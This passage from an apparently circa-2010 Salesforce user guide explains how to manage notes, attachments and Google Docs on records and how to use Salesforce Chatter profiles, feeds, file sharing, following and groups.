Special Picklist Field Value Description


Users: Marketing User True User can manage campaigns.
False User is not enabled to manage campaigns.
User: Is Partner True User is a partner user. For more information, see Partner
Portal Overview on page 2500.
False User is not a partner user.

Note: The special picklists you can view are only those that are visible in your page layout and field-level security
settings. (Field-level security is available only in Enterprise, Unlimited, and Developer Editions).

See Also:
Creating Custom List Views
Customizing Reports
Special Date Values for Filter Criteria

NOTES & ATTACHMENTS

Viewing and Editing Google Docs, Notes, and Attachments


Notes and attachments are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions
Google Docs available in all editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

You can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages
such as accounts, contacts, leads, opportunities, and products. You can also add attachments from the Attachments related
list on selected detail pages such as cases, solutions, and campaigns.
If Salesforce Chatter is enabled for your organization, files posted to a feed on a record are added to the record's Notes and
Attachments or Attachments related list as feed attachments. You can preview (if available), download, and delete feed
attachments from the Notes and Attachments or Attachments related list, but you can't edit or view file details.
Note: If the Add Google Docs to Salesforce.com service is enabled in your organization, the Notes and Attachments
related list is entitled Google Docs, Notes, & Attachments, and the Attachments related list is entitled Google Docs
& Attachments.

233
Notes & Attachments Viewing and Editing Google Docs, Notes, and Attachments

• To view the contents of a note, click the name of the note.


• To view the details of all notes, attachments, or Google docs, click View All.
Note that the View All button only displays when there are records to view.
• To view the details of an attachment, click the name of the file and then select the link on the Attached File detail page.
You can't view details of feed attachments.
• To edit a note or the name of an attachment, click Edit and make the changes you want. You can't edit the attached file
directly and you can't edit feed attachments.
• If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
• To create a new Google doc, choose New Document, New Spreadsheet, or New Presentation from the Add Google
Doc drop-down button. For more information, see Adding Google Docs to Salesforce.com on page 303.
• To associate an existing Google doc with the Salesforce.com record, choose Add Existing from the Add Google Doc
drop-down button. For more information, see Editing Google Doc Links on page 306.
• To edit the name or URL of a Google doc, click Edit.
• To delete a Google doc from the related list, click Del. This action removes the document's association with the record
but does not delete the document in Google Apps.
• To view and modify the Google doc, click View.

Consider the following when working with notes, attachments, and Google docs:

• To access a Google doc from a record detail page, the doc must be shared with your Google Apps account.
• The size limit for an attached file is 5 MB, including a file attached to a solution. The 5 MB size limit doesn't apply to
feed attachments. The maximum size for one or more files attached to emails is 10 MB. All file types are supported.
• All notes and attachments added to contacts and opportunities roll up under the associated account as well.
• You cannot edit a note or attachment unless you also have access to edit the record associated with it.
• To delete a note or attachment, you must be the owner of the note or attachment or an administrator with the “Modify
all Data” permission.
• Notes and attachments marked as private via the Private checkbox are accessible only to the owner and administrators.
For administrators to view private notes and attachments, they need the “View All Data” permission; to edit or delete
them, they need the “Modify All Data” permission.
• The Notes and Attachments related list includes files from Salesforce CRM Content when they are posted to a Chatter
feed on a record. However, the Notes and Attachments related list does not include Salesforce CRM Content files that
only exist in Salesforce CRM Content. If your organization has Salesforce CRM Content enabled, you can add the Related
Content related list to the detail pages for accounts, contacts, leads, opportunities, cases, products, or custom objects. For
more information, see Finding Salesforce CRM Content on page 290.
• Click View next to a feed attachment to display a preview of the file. Not all files can be previewed, such as copy-protected
PDFs. For files that can't be previewed, the View option isn't available and files appear as generic file type icons in the
feed. Some Microsoft Office 2007 features don't display correctly in previews.

234
Notes & Attachments Creating Notes

• If Salesforce Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related
list. Portal users can download feed attachments, but can't edit or delete them.

See Also:
Using Google Docs in Salesforce.com
Creating Notes
Adding Attachments
Note and Attachment Fields
Deleting Notes and Attachments
Salesforce CRM Content Overview

Creating Notes
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To create a note, click New Note in the Notes and Attachments related list of a record. Specify a description of the note and
its contents. The contents can contain up to 32KB of data.
If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the note. Spell Checker checks
the body of the note, not the title. Spell Checker does not support all the languages that Salesforce.com supports. For example,
Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported.
Click Save when you have finished. Note that you need to have access to edit the record in order to create a note associated
with it.
Note: Any notes you add from contact or opportunity pages will display in the Notes and Attachments related list of
that record, as well as in the related list for the account they are associated with.

See Also:
Adding Attachments
Note and Attachment Fields

Adding Attachments
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To add an attachment to the Attachments related list of a case, solution, or campaign, or to the Notes and Attachments related
list of an account, contact, lead, opportunity, or custom object:

1. Click Attach File.


2. Select Browse to specify the location and name of the file.

235
Notes & Attachments Note and Attachment Fields

3. Click Attach File to upload the file.


4. Select Done after the file finishes uploading.

Note:

• You need permission to edit a record in order to add an attachment to it.


• The size limit for an attached file is 5 MB, including a file attached to a solution. The maximum for one or more
files attached to email is 10 MB.
• If the Disallow HTML documents and attachments security setting is enabled for your organization, you
cannot upload files with the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml, acgi. HTML
attachments are not permitted on solutions, regardless of whether this security setting is enabled. In addition, this
setting does not affect attachments on email templates; HTML attachments on email templates are always permitted.

After a file is attached to the Attachments or Notes and Attachments related list, you can click View All to view the details
of all the attachments on the related list. Note that the View All button only displays when there are records to view.

See Also:
Creating Notes
Note and Attachment Fields

Note and Attachment Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Notes and attachments have the following fields, listed in alphabetical order.

Attachment Fields
Field Description
Description Description of the uploaded file.
File Name Name of the uploaded file.
Private Checkbox to indicate that the attachment is only accessible
to the owner and administrators. For administrators to view
private attachments, they need the “View All Data” permission;
to edit them, they need the “Modify All Data” permission.
Share With Connections Checkbox to indicate that the attachment is shared with
connections when the parent record is shared. This checkbox
is only available if Salesforce to Salesforce is enabled, the parent
record is shared, and the attachment is public.
Size Size of the uploaded file.

236
Notes & Attachments Deleting Notes and Attachments

Note Fields
Field Description
Body Text of the note. Can hold up to 32KB of data.
Private Checkbox to indicate that note is only accessible to the owner
and administrators. For administrators to view private notes,
they need the “View All Data” permission; to edit them, they
need the “Modify All Data” permission.
Title Short description of note. Up to 80 characters are allowed in
this field.

See Also:
Adding Attachments
Creating Notes

Deleting Notes and Attachments


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To delete a note or attachment, click Del next to the note or attachment in the Notes and Attachments related list or
Attachments related list of a record. Deleted notes and attachments can be restored from the Recycle Bin.
To delete a file that was attached from a Salesforce Chatter feed, click Del next to the feed attachment. Before deleting a feed
attachment on the Notes and Attachments related list, consider the following:

• If the file was attached from your computer, deleting it from the Notes and Attachments related list also deletes it from
the post.
• If the file was attached from a Chatter feed, group, or a Salesforce CRM Content workspace, deleting it from the Notes
and Attachments related list also deletes it from the post and from the workspace.

See Also:
Recycle Bin

237
Salesforce Chatter Salesforce Chatter Overview

SALESFORCE CHATTER

Salesforce Chatter Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo (English only, 3:30 minutes)


Salesforce Chatter is a collaboration application that helps you connect with coworkers inside your Salesforce.com organization
and share business information securely and in real time. Salesforce Chatter works in accordance with all of the security and
permission settings in your Salesforce.com organization. Salesforce Chatter is enabled by default for organizations created
after June 22, 2010. For existing organizations, you must enable Salesforce Chatter.
You can use Chatter to share information and learn about your colleagues with profiles, connect with people using groups,
and use feeds to keep up with the latest record updates. You can easily find the Salesforce Chatter People, Profile, and Groups
tabs in the Salesforce Chatter app, available in the app menu in the top right corner of any page. If your administrator has
added these tabs to other apps, you'll see the tabs in those apps unless you previously customized your display. In that case,
you'll need to add the tabs to those apps.
Salesforce Chatter is not supported:

• Using Microsoft® Internet Explorer version 6.0


• For portal users
• In the console

Salesforce Chatter includes limits on:

• The number of posts, comments, and tracked field changes stored on the Salesforce.com servers
• How long posts, comments, and tracked field changes are stored on the Salesforce.com servers
• The number of posts, comments, and tracked field changes an organization can make per day
• The number of email notifications that can be sent per organization per hour

These limits are subject to change at any time. Contact salesforce.com for more information.

Salesforce Chatter Terminology


The following terminology is used for Salesforce Chatter:
Chatter Feed
A list of recent activities in Salesforce.com. Chatter feeds display:
• On the Home tab, where you can see your updates, status updates of people you follow, and updates to records you
follow and groups you're a member of
• On profiles, where you can see updates made by the person whose profile you're viewing
• On records, where you can see updates to the record you're viewing

238
Salesforce Chatter Salesforce Chatter Overview

• On Chatter groups, where you can see updates to the group you're viewing

Chatter Group
Chatter groups let you share information with specific people. For example, if you're working on a project and want to
share information only with your team members, you can create a Chatter group for your team. Chatter groups include
a list of members, a Chatter feed, and a photo. You can create the following types of Chatter groups:
• Public: Anyone can see the group's updates, but only members can post updates. Anyone can join a public group.
• Private: Only members can see and post updates. The group's owner or managers must add members.

Comment, Salesforce Chatter


A reply to an update in a Chatter feed.

Feed Tracking, Salesforce Chatter


Administrator settings that determine which records can be followed and which fields can be tracked in Chatter feeds.
Enabling an object for feed tracking allows people to follow records of that object type. Enabling fields for feed tracking
allows users to see updates on the Chatter feed on the Home tab when those fields are changed on records they follow.

Follow
A subscription to a user or record that lets you see related updates in your Chatter feed on the Home tab. Follow a user
to see status updates. Follow a record to see posts, comments, and field changes.

People
Users in your Salesforce.com organization. A list of people is available on the People tab in Salesforce Chatter.

Post
A top-level comment in a Chatter feed.

Profile, Salesforce Chatter


A personal page for each Salesforce.com user that includes contact information, following and followers lists, a Chatter
feed, and a photo.

Record Update
An update in a Chatter feed that is the result of a field change on a record that is being followed.

Status Update
An update made by posting to the Chatter feed on your profile or Home tab, usually to tell other people what you're
working on. Your status update displays on your Home tab, on your profile, and in the Chatter feeds of people following
you.

Unfollow
To stop following a user or record and stop seeing their updates in your Chatter feed on the Home tab.

Update
A single activity that displays in a Chatter feed, such as a status update, post, or field change.

See Also:
Setting Up Salesforce Chatter
Salesforce Chatter FAQ
Overview of Salesforce Chatter for Mobile

239
Salesforce Chatter Using Salesforce Chatter

Using Salesforce Chatter


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

With Salesforce Chatter, you can:

• Update your profile to tell other people about yourself


• Post a file or a link to share with other people
• Find and follow people in your Salesforce.com organization
• View Chatter feeds to see recent activities around Salesforce.com
• Follow records to see changes to those records in the Chatter feed on your Home tab
• Create and join groups to share information with your team members
• Receive email notifications when activities happen in Salesforce Chatter

See Also:
Setting Up Salesforce Chatter
Salesforce Chatter FAQ

USER PROFILES

Profile Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Customize your profile with a photo and information about yourself so people in your organization can learn more about you.
View your profile on the Profile tab or by clicking your name at the top of any page, on the header bar of your Home tab, in
a feed, or on a record detail page.
View other people's profiles by clicking their name in the People tab, a feed, or on a record detail page. If hover details are
enabled, you can also see contact details by hovering over names in the recent items list and owner fields on records.
The Profile, and People, and Groups tabs are available by default in the Salesforce Chatter app. Select this app from the app
menu in the top right corner of any page. If your administrator has added these tabs to other apps, you'll see the tabs in those
apps unless you previously customized your display. In that case, you'll need to add the tabs to those apps.
From your profile, you can:

• Edit your contact information


• Add additional information about yourself in the About Me section
• Update your status in the What are you working on? field

240
Salesforce Chatter Updating Chatter Group and Profile Photos

• Upload or delete a profile photo


• See who's following you and who you're following
• See your recent updates in your Chatter feed
• View, download, and search files you've posted in Chatter.

When using profiles, consider these tips:

• Your status displays on your profile, Home tab, hover details, and in the Chatter feed on the Home tab of people following
you. Click Clear to remove your status from these locations. Clearing your status does not remove it from feeds. Click
Delete under your status in a feed to remove it from feeds.
• You can optionally attach files and links to your status updates.
• Your contact information is also visible in your user detail and is subject to validation or other rules set by your administrator.
Click the User Detail link on your profile to view your user detail page.
• When you change your email address in your contact information, a confirmation is sent to the new address. You must
click the link provided in that email for the change to take effect.
• To search the contents of other people's About Me, click Advanced Search... in the sidebar of the Home tab or an object
tab, enter a search term, and select Users as the scope.
• Portal users don't have profiles.
• For organizations using Salesforce to Salesforce, the Connection User may display in feeds, but does not have a profile.
• Users with the "Manage Users" permission can edit profiles and photos for other users.

See Also:
Using Salesforce Chatter
Editing Salesforce Chatter Email Notifications
Salesforce Chatter FAQ

Updating Chatter Group and Profile Photos


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Upload a photo to your profile so people can see who you are, or upload a photo for Chatter groups that you own or manage.

1. View your profile or a group detail page:

• View your profile by clicking your name at the top of any page or by clicking the Profile tab
• View a group detail page by clicking the group name on the Groups tab

2. Click Update Photo.


3. Click Browse....
4. Select a file to upload and click Open.
Note: Photos can be JPG, GIF, or PNG format up to 4 MB.

241
Salesforce Chatter Using the Following and Followers Lists

5. Drag the dotted lines in the photo to create a thumbnail image that will display next to your name or the group's name
around the application.
6. Click Save.

To delete a photo, click Delete, then click OK.

See Also:
Profile Overview
Viewing Chatter Groups

Using the Following and Followers Lists


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Following and Followers lists on your profile show you who and what you are following and who is following you,
respectively. You can also view Following and Followers lists on other people's profiles to see who and what they are following
and who is following them. Click Show All in either section to view the full list in alphabetical order.
Note: When your administrator initially turns on Chatter you automatically follow some users and records in your
organization.

You can filter Following lists by users or objects, for example, accounts or contacts. In your Following list, click Unfollow to
stop following a person or record. In another person's Following list, you can also click Follow to follow a person or record.
In any Followers list, click Follow to follow a person, or Unfollow to stop following them.
In both lists, use the Next and Previous links to see more of the list. Click Done to close the window.

See Also:
Following People and Records
The People and Records You Auto-Follow Initially
Profile Overview
Chatter Feeds Overview
Using Chatter Feeds
People Tab Overview

242
Salesforce Chatter Using the Files Added List

Using the Files Added List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

The Files Added list on a profile shows the five files the profile owner posted most recently in Salesforce Chatter and Salesforce
CRM Content. You can preview or download files directly from this list.
To see a list of all the files someone has posted in Chatter orSalesforce CRM Content, or to search for a specific file, click
Show All. You can preview, download, sort, or search for files. If you can't find the file you're looking for, enter characters of
the name of the file in Search files... and click Go!. The search results are filtered based on the characters entered.
Note the following about the Files Added by list:

• Only files posted by the profile owner are listed, including files posted to the owner's profile and other people's profiles.
• Only files you have access to are listed.

Note: Not all files can be previewed, such as copy-protected PDFs. For files that can't be previewed, the View option
isn't available and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display
correctly in previews.

See Also:
Profile Overview

FEEDS

Chatter Feeds Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter feeds show you recent activities performed by people and on records in your Salesforce.com organization. Salesforce
Chatter feeds display:

• On Chatter profiles, where you can see updates by a single user. View your own profile to see your updates and to update
your status.
• On record detail pages, where you can see updates to a single record.
• On the Home tab, where you can see your updates, status updates of people you follow, and updates to records you follow.

243
Salesforce Chatter Using Chatter Feeds

• On Chatter groups, where you can see updates to a group by its members. You'll only see feeds for public groups and
private groups you're a member of.

Depending on how your administrator has configured feed tracking, you can see feed updates for:

• Record field changes, for example:

- Changes to record owner


- Closed opportunities and cases

• Created records
• Converted leads
• People's status updates
• Chatter feed comments and posts
• Shared files and links
• Posts, comments, and files on Chatter groups you're a member of
You must follow people and records to see their updates in your Chatter feed on the Home tab. Sharing rules and field-level
security determine visibility of record changes in Chatter feeds; you must be able to see a record in order to see changes to that
record in feeds.

See Also:
Using Chatter Feeds
Following People and Records

Using Chatter Feeds


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can view Chatter feeds in the following locations:

• On Chatter profiles, where you can see updates by a single user. View your own profile to see your updates and to update
your status.
• On record detail pages, where you can see updates to a single record.
• On the Home tab, where you can see your updates, status updates of people you follow, and updates to records you follow.
• On Chatter groups, where you can see updates to a group by its members. You'll only see feeds for public groups and
private groups you're a member of.

To use Chatter feeds:

• Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. If enabled by your
administrator, related list hover links display below Chatter feeds.
• Post to Chatter feeds by typing in the text box at the top of a feed. You can also attach files and links to posts. Anyone
who can see a record can see your post on the record's feed. Additionally, people following a record can see your post in
their Chatter feed on the Home tab. Posts to other people's profiles can be viewed by anyone.
• Update your status by posting to the Chatter feed on the Home tab or on your profile. Anyone can see your status update
by looking at your profile, and people following you can see your status update in their Chatter feed on the Home tab.

244
Salesforce Chatter Following People and Records

• Click Comment to comment on feed updates.


• Click Delete to delete posts and comments. You can delete posts and comments you've made and posts and comments
made by other people on the Chatter feed on your profile, on records you own, and on posts you've made in other feeds.
Users with the “Modify All Data” permission can delete all comments and posts.
• Click Unfollow in the Chatter feed on the Home tab to stop following people or records.

See Also:
Chatter Feeds Overview
Following People and Records
The People and Records You Auto-Follow Initially
Profile Overview
Salesforce Chatter Groups Overview

Following People and Records


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To view a record: “Read” on the record

Follow people and records so you can see updates in your Chatter feed on the Home tab, including people's status updates
and field changes, posts, and comments on records. The field changes you see in your feed are determined by the fields your
administrator has configured for feed tracking. Updates to encrypted custom fields don't display in feeds.
Note: When your administrator initially turns on Chatter you automatically follow some users and records in your
organization.

• Click Follow on the People tab, a person's profile, or in the Following and Follower lists to follow people and see their
status updates in your Chatter feed on the Home tab. The People tab, along with the Profile and Groups tabs, is available
by default in the Salesforce Chatter app. Select this app from the app menu in the top right corner of any page. If your
administrator has added the People and Profile tabs to other apps, you'll see the tabs in those apps unless you previously
customized your display. In that case, you'll need to add the tabs to those apps.
• Click Follow on a record detail page, on aSalesforce Knowledge article, or next to a record in another person's Following
list to see updates to that record in your Chatter feed on the Home tab. You automatically follow records you own; to
change this, go to Setup ➤ My Chatter Settings ➤ My Feeds, select Stop automatically following records,
then click Save.

245
Salesforce Chatter Following People and Records

• Click Unfollow in your Chatter feed , on the People tab, a person's profile, a record detail page, or in the Following and
Followers lists to stop following people or records. Unfollowing stops future updates from people and records in your
Chatter feed on the Home tab and removes their previous updates.

See Also:
People Tab Overview
Using the Following and Followers Lists
Customizing Chatter Feed Tracking
Using Chatter Feeds

The People and Records You Auto-Follow Initially


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Starting in June 2010, when your administrator initially turns on Salesforce Chatter, we help get you started by automatically
following certain users and records in your organization. Who and what you auto-follow differ based on the size of your
organization:

If Your Organization Users You Follow Records You Follow


Has:
15 users or less All users in your organization Up to 25 of your most recently used records, in the
following order:

1. Open opportunities you own


2. Accounts you own
3. Open cases you own
4. Contacts you own
5. Open opportunities you created
6. Accounts you created
7. Open cases you created
8. Contacts you created
9. Open opportunities you last modified
10. Accounts you last modified
11. Open cases you last modified
12. Contacts you last modified
13. Open opportunities you viewed
14. Accounts you viewed
15. Open cases you viewed
16. Contacts you viewed

246
Salesforce Chatter Attaching a File or Link to a Chatter Feed

If Your Organization Users You Follow Records You Follow


Has:
16 or more users Up to 25 users in your organization, Up to 25 of your most recently used records, in the
including (if available): following order:
• Your manager
1. Open opportunities you own
• Users that report to your manager
2. Accounts you own
• Your subordinates
3. Open cases you own
• Teammates on your account teams
4. Contacts you own
• Teammates on your opportunity
5. Open opportunities you created
teams
6. Accounts you created
7. Open cases you created
8. Contacts you created
9. Open opportunities you last modified
10. Accounts you last modified
11. Open cases you last modified
12. Contacts you last modified
13. Open opportunities you viewed
14. Accounts you viewed
15. Open cases you viewed
16. Contacts you viewed

See Also:
Following People and Records
Using the Following and Followers Lists
Automatically Following Records You Own

Attaching a File or Link to a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can share files and links with people by attaching them to posts in a Chatter feed on the Home tab, a profile, a group, or
a record. You can attach files from your computer, from Chatter feeds, or from Salesforce CRM Content workspaces.
Attachments can include all file types, from traditional business documents such as Microsoft® PowerPoint presentations to
audio files, video files, Web pages, and Web links.
To attach a file to a post:

1. Enter your post in the field at the top of the feed. If you don't enter any text, a generic update is posted with your attachment.
2. Click File below your post.
3. Attach a file:

247
Salesforce Chatter Searching for Files to Attach to a Chatter Feed

• To attach a file from your computer, click Upload a file from your computer.
• To attach a file from a Chatter feed or from a group or workspace that you're a member of, click Select a file from
Salesforce, find your file, and click Attach. Attaching a file from a group or workspace doesn't create a copy of the
file, it creates a reference to the file. So if you update the file in Salesforce CRM Content, the updates are reflected in
the feed. Links, Google docs, documents (from the Documents tab), and attachments (from the Notes and Attachments
related list, for example) aren't included in the list of files to attach.

4. Enter the Name of the file and a Description.


5. Click Share.

Note:

• The upload may take some time depending on your file size.
• The size limit for a file attached from your computer to a feed is 25 MB.
• When you attach a file to feed on a record, the file is also added to the record's Notes and Attachments related
list. If you don't see the Notes and Attachments related list on your page layout, contact your administrator.
• When you attach a file to a record's Notes and Attachments related list, the file is not added to the record's feed.
• Feed attachments are not included in the sidebar search.
• On some objects, the Notes and Attachments related list is titled Attachments because the object does not offer notes.
Also, the same related list may be titled Google Docs, Notes, and Attachments or Google Docs and Attachments depending
on the setting in your org. References to the Notes and Attachments related list include all versions of the related
list, regardless of title.
• Salesforce.com is not responsible for content posted by users.

To attach a link to a post:

1. Enter your post in the field at the top of the feed. If you don't enter any text, a generic update is posted with your attachment.
2. Click Link below your post.
3. Enter the URL to share.
4. Enter the Link Name.
5. Click Share.

See Also:
Searching for Files to Attach to a Chatter Feed
Viewing and Editing Chatter File Details
Downloading and Viewing a File in a Chatter Feed

Searching for Files to Attach to a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Search for files in Chatter feeds or in Salesforce CRM Content. Enter the characters of the name of the file in Search
files... and click Go!. Salesforce CRM Content performs a full-text search of the following document types in Salesforce
Chatter and in your workspace(s): rich text format (RTF), UTF-8 encoded TXT, HTML, XML, Adobe® PDF, and Microsoft®
Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files. Wildcard searches (*) are not supported.

248
Salesforce Chatter Viewing and Editing Chatter File Details

Note the following about the files included in the Select a File to Attach list:

• Files posted to Chatter feeds on the Home tab, a profile, a group (that you're a member of ), or a record are listed.
• Files from workspaces that you're a member of and where you have Post Content to Chatter Feeds or Manage
Workspace checked in your workspace permission definition are listed.
• Links, Google docs, documents (from the Documents tab), and attachments (from the Notes and Attachments related
list, for example) aren't included in the list.

See Also:
Attaching a File or Link to a Chatter Feed
Downloading and Viewing a File in a Chatter Feed
Deleting a File or Link from a Chatter Feed

Viewing and Editing Chatter File Details


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

You can view and edit the properties of a file posted on a Chatter feed through Salesforce CRM Content. Clicking on a
Chatter file name on the Workspaces, Content, or Subscriptions tab opens the content details page, which provides the
following options:

• Click Download to open or save the file.


• Click Subscribe or Subscribed to toggle your subscription on or off.
• Click Edit ➤ Edit Content Details to edit the file's title, description, and language. These edits are reflected in the feed.
• Click Edit ➤ Upload New Version to replace the file with a new version. This edit is reflected in the feed.
• Click Edit ➤ Delete Content to delete the file. Deleting a Chatter file from the content details page deletes the file from
Salesforce CRM Content and from Chatter.To restore deleted content, click on the Recycle Bin link in any tab. Select
the content and click Undelete.
• Click the Preview subtab to view the following types of files:

- Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint. Some Microsoft Office 2007
features don't display correctly in previews.
- Adobe® PDF. Copy-protected PDFs can't be previewed.
- JPG, BMP, GIF, and PNG

• Click the Versions subtab to view a list of all file versions and the reason-for-change statements provided by the authors.
• Click the Downloads subtab to view a list of all Salesforce CRM Content users who have downloaded the file.
• Click the Subscribers subtab to view a list of all Salesforce CRM Content users subscribed to the file.

249
Salesforce Chatter Downloading and Viewing a File in a Chatter Feed

Note: The Edit option is only available to the owner of the file.

See Also:
Attaching a File or Link to a Chatter Feed
Downloading and Viewing a File in a Chatter Feed

Downloading and Viewing a File in a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

Not only can you download and save files posted to Salesforce Chatter feeds, you can also preview files in your browser without
downloading them.
There are several places in Chatter where you can download and preview files:

• On any Chatter feed, click Download next to the file, or to preview the file, click the file icon or click View.
• On a profile, you can download or preview a file from the Files Added list by clicking the Download or View icons next
to the file.
• On a group, you can download or view a file from the Recent Files list by clicking the Download or View icons next to
the file.
• In the Notes and Attachments related list on a record, click Download next to the feed attachment, or to preview the file,
click View next to the feed attachment.

Note: Not all files can be previewed, such as copy-protected PDFs. For files that can't be previewed, the View option
isn't available and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display
correctly in previews.

Clicking View next to a Chatter file opens the file in your browser with the enhanced document viewer. The enhanced
document viewer provides the following capabilities for viewing documents:

• In addition to using the next page ( ), previous page ( ), first page ( ), and last page ( ) icons on the document toolbar,
you can navigate page-by-page through a document by right-clicking and choosing Next Page and Previous Page.
• You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous
Page icons. Continuous scrolling is not available for PowerPoint files.
• You can jump directly to a page by entering the page number in the page field and pressing Enter.
• From the right-click menu you can choose Fit Width to expand the width of the document, or Fit Full Page to view the
whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also available on the toolbar.
• From the right-click menu you can choose Full Screen to view the document in full screen mode, or Exit to exit full screen
mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar.

250
Salesforce Chatter Deleting a File or Link from a Chatter Feed

• From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also
available on the toolbar.
• You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and
use the keys as follows:

- Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document
forward one page.
- Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document
backward one page.
- Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the
page.
- Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document
down the page.

See Also:
Attaching a File or Link to a Chatter Feed
Viewing and Editing Chatter File Details
Deleting a File or Link from a Chatter Feed

Deleting a File or Link from a Chatter Feed


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

There are different ways to delete Salesforce Chatter files and links depending on where they appear. You can't delete files
and links posted by other people.

Deleting a File or Link from a Chatter Feed on the Home Tab, a Profile, or a Group
To delete a file or link on a Chatter feed, you must delete its post. Before deleting a post on the Home tab, a profile, or a
group, consider the following:
• If the file was attached from your computer, deleting the post also deletes the file on the post.
• If the file was attached from a Chatter feed, group, or a Salesforce CRM Content workspace, deleting the post also deletes
the file on the post, but doesn't delete the file from its original location.
• If the file was attached to a post and is shared in other locations, deleting the post also deletes the file on the post and other
locations where it's been shared.

Deleting a File from a Chatter Feed on a Record


There are two ways to delete a file on a Chatter feed on a record:
• Delete the file on a Chatter feed by deleting its post. This deletes the file, the post, and deletes the file from the Notes and
Attachments related list.
• Delete the file by clicking Del next to the feed attachment on the Notes and Attachments related list. Restore the file by
clicking on the Recycle Bin, selecting the file, and clicking Undelete. Before deleting a feed attachment on the Notes and
Attachments related list, consider the following:

251
Salesforce Chatter Automatically Following Records You Own

- If the file was attached from your computer, deleting it from the Notes and Attachments related list also deletes it from
the post.
- If the file was attached from a Chatter feed, group, or a Salesforce CRM Content workspace, deleting it from the Notes
and Attachments related list also deletes it from the post and from the workspace.

Deleting a File from a Content Detail Page


When you post a file in Chatter, the file also appears in Salesforce CRM Content. To delete the file from Chatter and Salesforce
CRM Content, click the name of the file on the Workspaces, Content, or Subscriptions tab. From the content details page,
click Edit ➤ Delete Content to delete the file. Deleting a Chatter file from the content details page deletes the file from
Salesforce CRM Content and from Chatter.To restore deleted content, click on the Recycle Bin link in any tab. Select the
content and click Undelete. Only the owner of the file can edit or delete it.

See Also:
Attaching a File or Link to a Chatter Feed
Viewing and Editing Chatter File Details
Downloading and Viewing a File in a Chatter Feed

Automatically Following Records You Own


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To view a record: “Read” on the record

You automatically follow records that you own, meaning that you will see updates in your Chatter feed when fields are changed
on those records.
Note: To automatically follow a record when someone else assigns you ownership, your administrator must enable
the owner field on the object for feed tracking. For example, if the Account Owner field isn't tracked and someone
changes the owner of an account , the new owner won't automatically follow the account.

To stop automatically following records you own:

1. Click Setup ➤ My Chatter Settings ➤ My Feeds.


2. Select Stop automatically following records.
3. Click Save.

See Also:
Following People and Records
Chatter Feeds Overview
The People and Records You Auto-Follow Initially

252
Salesforce Chatter Salesforce Chatter Groups Overview

GROUPS

Salesforce Chatter Groups Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Groups tab displays a list of Salesforce Chatter groups in your organization. Chatter groups let you collaborate with
specific people. For example, if you're working on a team project, you can create a Chatter group for your team to share
project-related files and information with each other. There are two types of Chatter groups:

• Public: Anyone can see the group's posts, comments, and files, but only members can add posts, comments, and files.
Anyone can join a public group.
• Private: Only members can see and add posts, comments, and files. People with the ”Modify All Data” and “View All
Data” permissions can see posts, updates, and files. The group's owner or managers must add members.

On the Groups tab:

• Search for groups by typing two or more letters of a group name in the quick find box at the top of the page. The list
automatically filters based on what you type.
• Click New Group to create a new group.
• Click Join in the Membership column next to a public group to join the group.
• Click Ask Owner in the Membership column next to a private group to view the group owner's profile. You can then ask
the owner to add you to the group.
• Click X in the Membership column next to a group you're a member of to leave the group.
• Click a group name to view the group detail page. You can view detail pages for all groups, but you'll only see updates and
files for public groups, and for private groups that you're a member of.
• Click a group owner's name to see his or her profile.
• Click the Group, Owner, or Membership column headers to sort the list. The list is automatically sorted by the Membership
column to show you the groups you own, manage, and are a member of.

